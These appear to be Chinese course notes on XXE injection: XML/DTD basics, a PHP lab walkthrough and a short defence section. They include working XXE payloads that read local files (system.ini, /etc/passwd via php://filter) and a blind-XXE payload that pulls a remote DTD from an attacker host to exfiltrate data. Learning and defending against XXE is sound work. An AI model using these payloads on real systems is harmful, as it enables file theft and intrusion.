8-XXE渗透与防御
1、XXE漏洞(上)
1.1 XML基础知识
可拓展标记语言,html里的标签是固定的,xml可以自定义标签
用途:
1、配置文件
2、交换配置(通信)
1.2 XML内容
第一行XML声明,对应的版本和编码
XML根元素+XML子元素
格式要求:
- XML文档必须有根元素
- XML文档必须有关闭标签
- XML标签对大小写敏感
- XML元素必须被正确的嵌套
- XML属性必须加引号
1.3 DTD文档类型定义:可以根据XML自己定义格式规范
1.3.1 DTD内容之元素
1.3.2 DTD内容之实体:定义被引用的文件或字符(相当于全局变量)
1.3.3 外部实体ENTITY
file:///etc//passwd
php://filter/read=convert.base64-encode/resource=index.phh
http://wwuya.com/evil.dtd
1.4 完整的XML内容
2、XXE漏洞(中)
2.1 XXE定义
XML外部实体注入(XXE或XEE)
如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
原因:使用XML传输数据,并且允许解析外部实体
2.2 XXE靶场(PHP)
2.2.1 第一步:确定它使用的是XXE格式传输数据,F12查看login后的Network
2.2.2 第二步:修改传输数据的内容,添加外部实体
BP抓包
添加外部实体,并引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]>
<name>&xxe;</name>
在内容中加上&xxe;
2.3 盲打(如果没有回显情况)
使用DNSLog.cn网站,查看有没有网站访问,以此来验证攻击是否成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx">%remote;]>
后者传输到自己的服务器.dtd
3、XXE漏洞(下)
3.1 XXE防御
1、在解析XML之前,加入禁用实体解析的代码
2、过滤用户提交的XML数据
3、WAF,如ModSecurity